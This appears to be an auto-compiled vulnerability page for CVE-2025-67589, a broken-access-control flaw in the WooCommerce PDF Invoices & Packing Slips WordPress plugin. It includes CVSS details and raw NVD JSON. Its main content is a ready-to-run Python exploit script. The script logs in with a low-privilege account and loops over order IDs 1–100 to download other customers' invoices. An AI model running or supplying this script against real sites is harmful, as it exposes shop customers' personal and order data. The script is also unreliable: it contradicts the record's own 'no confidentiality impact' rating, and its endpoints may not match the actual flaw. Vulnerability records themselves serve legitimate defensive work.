Security Vulnerability Report
中文
CVE-2025-67589 CVSS 4.3 MEDIUM

CVE-2025-67589

Published: 2025-12-09 16:18:37
Last Modified: 2026-04-27 18:16:45

Description

Missing Authorization vulnerability in WP Overnight WooCommerce PDF Invoices & Packing Slips woocommerce-pdf-invoices-packing-slips allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce PDF Invoices & Packing Slips: from n/a through <= 4.9.1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WooCommerce PDF Invoices & Packing Slips <= 4.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67589 PoC - WooCommerce PDF Invoices Broken Access Control # Requires low-privilege WordPress account (subscriber/contributor role) import requests from urllib.parse import urljoin TARGET_URL = "https://vulnerable-site.com" USERNAME = "low_privilege_user" PASSWORD = "password123" def get_auth_cookie(): """Login and get authentication cookies""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data, allow_redirects=False) return session.cookies def exploit_unauthorized_access(cookies, order_id): """Exploit: Access PDF invoice for arbitrary order without proper authorization""" # Method 1: Direct PDF download via REST API pdf_endpoint = f"{TARGET_URL}/wp-json/wc/v3/orders/{order_id}/pdf-invoice" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Referer': TARGET_URL } response = requests.get(pdf_endpoint, cookies=cookies, headers=headers) if response.status_code == 200 and 'pdf' in response.headers.get('Content-Type', ''): filename = f"invoice_order_{order_id}.pdf" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] Successfully downloaded invoice for order {order_id}") return True # Method 2: Via admin-ajax.php endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" ajax_data = { 'action': 'wpo_wcpdf_download_pdf', 'order_ids': str(order_id), 'document_type': 'invoice' } response = requests.post(ajax_url, data=ajax_data, cookies=cookies, headers=headers) if response.status_code == 200: print(f"[+] AJAX method: Downloaded invoice for order {order_id}") return True print(f"[-] Failed to access order {order_id}") return False def main(): cookies = get_auth_cookie() # Try to access orders with IDs 1-100 for order_id in range(1, 101): exploit_unauthorized_access(cookies, order_id) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67589", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:36.930", "lastModified": "2026-04-27T18:16:45.253", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WP Overnight WooCommerce PDF Invoices & Packing Slips woocommerce-pdf-invoices-packing-slips allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WooCommerce PDF Invoices & Packing Slips: from n/a through <= 4.9.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-pdf-invoices-packing-slips/vulnerability/wordpress-woocommerce-pdf-invoices-packing-slips-plugin-4-9-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}